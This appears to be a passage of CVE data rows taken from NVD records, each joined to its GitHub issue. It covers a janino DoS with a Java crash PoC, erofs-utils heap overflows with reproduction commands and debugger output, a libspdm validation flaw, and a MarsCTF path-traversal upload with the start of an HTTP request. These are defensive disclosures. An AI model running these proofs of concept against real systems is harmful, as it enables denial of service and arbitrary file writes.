"url": "https://github.com/janino-compiler/janino/issues/201"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://janino-compiler.github.io/janino/#security"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:janino_project:janino:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E70F1ECA-3C8D-43A0-AF1D-602935F0C7D6",
"versionEndExcluding": null,
"versionEndIncluding": "3.1.9",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/janino-compiler/janino/issues/201 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"janino-compiler",
"janino"
] | # Description
janino 3.1.9 and earlier are subject to denial of service (DOS) attacks when using the expression evaluator.guess parameter name method. If the parser runs on user-supplied input, an attacker could supply content that causes the parser to crash due to a stack overflow.
# Error Log
```java
at org.codehaus.janino.TokenStreamImpl.produceToken(TokenStreamImpl.java:55)
at org.codehaus.janino.TokenStreamImpl.peek(TokenStreamImpl.java:94)
at org.codehaus.janino.TokenStreamImpl.peek(TokenStreamImpl.java:114)
at org.codehaus.janino.Parser.peek(Parser.java:3781)
at org.codehaus.janino.Parser.parsePrimary(Parser.java:3203)
at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
at org.codehaus.janino.Parser.parseAdditiveExpression(Parser.java:3047)
at org.codehaus.janino.Parser.parseShiftExpression(Parser.java:3026)
at org.codehaus.janino.Parser.parseRelationalExpression(Parser.java:2936)
at org.codehaus.janino.Parser.parseEqualityExpression(Parser.java:2910)
at org.codehaus.janino.Parser.parseAndExpression(Parser.java:2889)
at org.codehaus.janino.Parser.parseExclusiveOrExpression(Parser.java:2868)
at org.codehaus.janino.Parser.parseInclusiveOrExpression(Parser.java:2847)
at org.codehaus.janino.Parser.parseConditionalAndExpression(Parser.java:2826)
at org.codehaus.janino.Parser.parseConditionalOrExpression(Parser.java:2805)
at org.codehaus.janino.Parser.parseConditionalExpression(Parser.java:2786)
at org.codehaus.janino.Parser.parseAssignmentExpression(Parser.java:2767)
at org.codehaus.janino.Parser.parseExpressionOrType(Parser.java:2748)
at org.codehaus.janino.Parser.parsePrimary(Parser.java:3254)
at org.codehaus.janino.Parser.parseUnaryExpression(Parser.java:3109)
at org.codehaus.janino.Parser.parseMultiplicativeExpression(Parser.java:3068)
```
# Reproducing
```
// PoC.java
import org.codehaus.commons.compiler.CompileException;
import org.codehaus.janino.ExpressionEvaluator;
import org.codehaus.janino.Scanner;
import java.io.IOException;
import java.io.StringReader;
public class PoC{
public static void test(String data) {
try{
ExpressionEvaluator.guessParameterNames(new Scanner(null, new StringReader(data)));
}
catch(IOException | CompileException | AssertionError e){
}
}
public static String _nestedDoc(int nesting, String open, String close, String content) {
StringBuilder sb = new StringBuilder(nesting * (open.length() + close.length()));
for (int i = 0; i < nesting; ++i) {
sb.append(open);
if ((i & 31) == 0) {
sb.append("\n");
}
}
sb.append("\n").append(content).append("\n");
for (int i = 0; i < nesting; ++i) {
sb.append(close);
if ((i & 31) == 0) {
sb.append("\n");
}
}
return sb.toString();
}
public static void main(String[] args) {
String TOO_DEEP_DOC = _nestedDoc(3000, "( ", ") ", "t");
// String TOO_DEEP_JSON = NestUtil._nestedDoc(1000, "{ ", "} ", "t");
test(TOO_DEEP_DOC);
}
}
```
| A Stack overflow error | https://api.github.com/repos/janino-compiler/janino/issues/201/comments | 14 | 2023-05-12T08:38:04Z | 2023-07-25T02:29:33Z | https://github.com/janino-compiler/janino/issues/201 | 1,707,207,037 | 201 | 5,222 |
CVE-2023-33551 | 2023-06-01T15:15:09.050 | Heap Buffer Overflow in the erofsfsck_dirent_iter function in fsck/main.c in erofs-utils v1.6 allows remote attackers to execute arbitrary code via a crafted erofs filesystem image. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/lometsj/blog_repo/issues/2"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FHOIRL6XH5NYR3LYI3KP5DE4SDSQWR7W/"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IGGIYW7PHYQM2NPYCJPSPSLULLD2P2PE/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/lometsj/blog_repo/issues/2"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FHOIRL6XH5NYR3LYI3KP5DE4SDSQWR7W/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IGGIYW7PHYQM2NPYCJPSPSLULLD2P2PE/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:erofs-utils_project:erofs-utils:1.6:*:*:*:*:*:*:*",
"matchCriteriaId": "C8CA601C-DA3C-45D8-AD44-6927478FC63D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/lometsj/blog_repo/issues/2 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"lometsj",
"blog_repo"
] | ## project
https://git.kernel.org/pub/scm/linux/kernel/git/xiang/erofs-utils.git
## env
tested on fedora 37
## version
erofs-utils v1.6
## reproduce
```
➜ erofs-utils ./fsck/fsck.erofs --extract=/tmp/test_out ./output_fsck2/default:id:000015,sig:06,src:000042,time:27700764,execs:109211703,op:havoc,rep:8
free(): invalid pointer
[1] 469358 IOT instruction (core dumped) ./fsck/fsck.erofs --extract=/tmp/test_out
➜ erofs-utils ./fsck/fsck.erofs -V
fsck.erofs 1.6
➜ erofs-utils
```
### bug analysis
in fsck/main.c: erofsfsck_parse_options_cfg()
var `fsckcfg.exract_path` is alloc by `PATH_MAX` which value is `4096`
```
fsckcfg.extract_path = malloc(PATH_MAX);
```
when the directory is too deep and the path name is concatenated to exceed 4096,it will lead heap overflow when `strncpy` try to concatenate string of path.
```c
static int erofsfsck_dirent_iter(struct erofs_dir_context *ctx)
{
int ret;
size_t prev_pos = fsckcfg.extract_pos;
if (ctx->dot_dotdot)
return 0;
if (fsckcfg.extract_path) {
size_t curr_pos = prev_pos;
fsckcfg.extract_path[curr_pos++] = '/';
strncpy(fsckcfg.extract_path + curr_pos, ctx->dname, // over flow at here
ctx->de_namelen);
curr_pos += ctx->de_namelen;
fsckcfg.extract_path[curr_pos] = '\0';
fsckcfg.extract_pos = curr_pos;
}
ret = erofsfsck_check_inode(ctx->dir->nid, ctx->de_nid);
if (fsckcfg.extract_path) {
fsckcfg.extract_path[prev_pos] = '\0';
fsckcfg.extract_pos = prev_pos;
}
return ret;
```
[default_id_000015,sig_06,src_000042,time_27700764,execs_109211703,op_havoc,rep_8.zip](https://github.com/lometsj/blog_repo/files/11429558/default_id_000015.sig_06.src_000042.time_27700764.execs_109211703.op_havoc.rep_8.zip)
| erofs-utils heap-based overflow when extract a file system image via fsck.erofs | https://api.github.com/repos/lometsj/blog_repo/issues/2/comments | 1 | 2023-05-09T06:54:43Z | 2023-06-03T03:48:27Z | https://github.com/lometsj/blog_repo/issues/2 | 1,701,468,257 | 2 | 5,223 |
CVE-2023-33552 | 2023-06-01T15:15:09.163 | Heap Buffer Overflow in the erofs_read_one_data function at data.c in erofs-utils v1.6 allows remote attackers to execute arbitrary code via a crafted erofs filesystem image. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/lometsj/blog_repo/issues/1"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FHOIRL6XH5NYR3LYI3KP5DE4SDSQWR7W/"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IGGIYW7PHYQM2NPYCJPSPSLULLD2P2PE/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/lometsj/blog_repo/issues/1"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FHOIRL6XH5NYR3LYI3KP5DE4SDSQWR7W/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IGGIYW7PHYQM2NPYCJPSPSLULLD2P2PE/"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:erofs-utils_project:erofs-utils:1.6:*:*:*:*:*:*:*",
"matchCriteriaId": "C8CA601C-DA3C-45D8-AD44-6927478FC63D",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/lometsj/blog_repo/issues/1 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"lometsj",
"blog_repo"
] | ## heap-base overflow of erofs-utils
### project
https://git.kernel.org/pub/scm/linux/kernel/git/xiang/erofs-utils.git
### env
tested on fedora 37
### version
erofs-utils v1.6
### reproduce
```
➜ erofs-utils ./fsck/fsck.erofs -V
fsck.erofs 1.6
➜ erofs-utils ./fsck/fsck.erofs --extract=/tmp/test_out ../../erofs-utils-debug/output_fsck2/default:id:000011,sig:06,src:000303,time:17951196,execs:70778046,op:havoc,rep:16
<E> erofs_io: Reach EOF of device - ../../erofs-utils-debug/output_fsck2/default:id:000011,sig:06,src:000303,time:17951196,execs:70778046,op:havoc,rep:16:[4124, 15388867821540].
free(): invalid next size (normal)
[1] 266474 IOT instruction (core dumped) ./fsck/fsck.erofs --extract=/tmp/test_out
```
### source code analysis
in erofs_read_one_data function at data.c, it call dev_read to read from buf
```
gef➤ l erofs_read_one_data
162 size_t len)
163 {
164 struct erofs_map_dev mdev;
165 int ret;
166
167 mdev = (struct erofs_map_dev) {
168 .m_deviceid = map->m_deviceid,
169 .m_pa = map->m_pa,
170 };
171 ret = erofs_map_dev(&sbi, &mdev);
gef➤
172 if (ret)
173 return ret;
174
175 ret = dev_read(mdev.m_deviceid, buffer, mdev.m_pa + offset, len);
176 if (ret < 0)
177 return -EIO;
178 return 0;
179 }
```
and the var `len` is depends on `map->m_plen`, and `map->m_plen` depends on `inode->i_size` which import from image file without check, lead to heap overflow
the top chunk is override as below
```
gef➤ heap chunks
Chunk(addr=0x40e010, size=0x290, flags=PREV_INUSE)
[0x000000000040e010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x40e2a0, size=0x1010, flags=PREV_INUSE)
[0x000000000040e2a0 2f 74 6d 70 2f 74 65 73 74 5f 6f 75 74 00 00 00 /tmp/test_out...]
Chunk(addr=0x40f2b0, size=0x80, flags=PREV_INUSE)
[0x000000000040f2b0 2e 2e 2f 2e 2e 2f 65 72 6f 66 73 2d 75 74 69 6c ../../erofs-util]
Chunk(addr=0x40f330, size=0x1010, flags=PREV_INUSE)
[0x000000000040f330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x410340, size=0x697373696d736e60, flags=PREV_INUSE)
[0x0000000000410340 6f 6e 20 61 6e 64 20 6d 65 6d 6f 72 00 00 00 00 on and memor....]
Chunk(addr=0x410340, size=0x697373696d736e60, flags=PREV_INUSE) ← top chunk
gef➤
```
[default_id_000011,sig_06,src_000303,time_17951196,execs_70778046,op_havoc,rep_16.zip](https://github.com/lometsj/blog_repo/files/11429545/default_id_000011.sig_06.src_000303.time_17951196.execs_70778046.op_havoc.rep_16.zip)
| erofs-utils heap-based overflow when extract a file system image via fsck.erofs | https://api.github.com/repos/lometsj/blog_repo/issues/1/comments | 1 | 2023-05-08T08:00:48Z | 2025-01-27T03:41:41Z | https://github.com/lometsj/blog_repo/issues/1 | 1,699,740,179 | 1 | 5,224 |
CVE-2023-32690 | 2023-06-01T17:15:09.947 | libspdm is a sample implementation that follows the DMTF SPDM specifications. Prior to versions 2.3.3 and 3.0, following a successful CAPABILITIES response, a libspdm Requester stores the Responder's CTExponent into its context without validation. If the Requester sends a request message that requires a cryptography operation by the Responder, such as CHALLENGE, libspdm will calculate the timeout value using the Responder's unvalidated CTExponent.
A patch is available in version 2.3.3. A workaround is also available. After completion of VCA, the Requester can check the value of the Responder's CTExponent. If it greater than or equal to 64, then the Requester can stop communication with the Responder. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "ADJACENT_NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 5.7,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.1,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/DMTF/libspdm/issues/2068"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/DMTF/libspdm/pull/2069"
},
{
"source": "security-advisories@github.com",
"tags": [
"Vendor Advisory"
],
"url": "https://github.com/DMTF/libspdm/security/advisories/GHSA-56h8-4gv5-jf2c"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/DMTF/libspdm/issues/2068"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/DMTF/libspdm/pull/2069"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Vendor Advisory"
],
"url": "https://github.com/DMTF/libspdm/security/advisories/GHSA-56h8-4gv5-jf2c"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:dmtf:libspdm:*:*:*:*:*:*:*:*",
"matchCriteriaId": "7419A420-D817-46D5-ABED-388B27A48E88",
"versionEndExcluding": "2.3.3",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"20"
] | 20 | https://github.com/DMTF/libspdm/issues/2068 | [
"Patch"
] | github.com | [
"DMTF",
"libspdm"
] | Following a successful CAPABILITIES response a libspdm Requester stores the Responder's CTExponent into its context without validation. If the Requester sends a request message that requires a cryptography operation by the Responder, such as CHALLENGE, libspdm will calculate the timeout value using the Responder's unvalidated CTExponent.
```
((uint64_t)2 << context->connection_info.capability.ct_exponent)
```
If the value of CTExponent is greater than or equal to 64 then C language undefined behavior is invoked.
Note that libspdm provides a method to query the value of the CTExponent after VCA.
This also happens with RDTExponent. Note also that shifting the value `2` is incorrect. It should be `1`. | Responder can Invoke Undefined Behavior in libspdm Requester | https://api.github.com/repos/DMTF/libspdm/issues/2068/comments | 6 | 2023-05-29T17:34:07Z | 2024-02-07T14:21:36Z | https://github.com/DMTF/libspdm/issues/2068 | 1,731,068,294 | 2,068 | 5,225 |
CVE-2023-33386 | 2023-06-05T15:15:09.197 | MarsCTF 1.2.1 has an arbitrary file upload vulnerability in the interface for uploading attachments in the background. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Product"
],
"url": "https://github.com/b1ackc4t/MarsCTF/blob/V1.2.1/src/main/java/com/b1ackc4t/marsctfserver/service/impl/CTFFileServiceImpl.java#L46"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/b1ackc4t/MarsCTF/issues/10"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product"
],
"url": "https://github.com/b1ackc4t/MarsCTF/blob/V1.2.1/src/main/java/com/b1ackc4t/marsctfserver/service/impl/CTFFileServiceImpl.java#L46"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/b1ackc4t/MarsCTF/issues/10"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:marsctf_project:marsctf:1.2.1:*:*:*:*:*:*:*",
"matchCriteriaId": "48D78D22-7C75-4B8A-A9BA-95531623F052",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"434"
] | 434 | https://github.com/b1ackc4t/MarsCTF/issues/10 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"b1ackc4t",
"MarsCTF"
] | ### Describe
MarsCTF found in its V1.2.1 version that there is an arbitrary file upload vulnerability in the interface for uploading attachments in the background. Attackers can construct filenames like `../../file` to upload arbitrary files to arbitrary directories.
### unsafe code
https://github.com/b1ackc4t/MarsCTF/blob/V1.2.1/src/main/java/com/b1ackc4t/marsctfserver/service/impl/CTFFileServiceImpl.java#L46
```java
public ReturnRes upload(MultipartFile file) {
if (file.isEmpty()) {
return new ReturnRes(false, "上传失败,请选择文件");
}
String fileName = file.getOriginalFilename();
String snowId = String.valueOf(SnowFlakeUtil.generatorUid());
File pathFile = new File(uploadPath, snowId); // 为每个文件单独创建一个文件夹 文件夹名采用雪花算法
String path = pathFile.toString();
if (!pathFile.mkdir()) {
return new ReturnRes(false, "上传失败,服务器错误");
}
File dest = new File(path, fileName);
try {
file.transferTo(dest); // 上传成功
CTFFile ctfFile = new CTFFile(new File(snowId, fileName).toString());
int lastIndexOf = fileName.lastIndexOf(".");
String ext = lastIndexOf != -1 ? fileName.substring(lastIndexOf + 1) : "";
ctfFile.setFname(dest.getName());
ctfFile.setSize(dest.length()); // 单位字节
ctfFile.setExt(ext);
this.save(ctfFile);
return new ReturnRes(true, ctfFile.getFid());
} catch (IOException e) {
e.printStackTrace();
}
return new ReturnRes(false, "上传失败,服务器错误");
}
```
### POC
```
POST /api/admin/uploadCTFFile HTTP/1.1
Host: 127.0.0.1:7991
Content-Length: 212
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
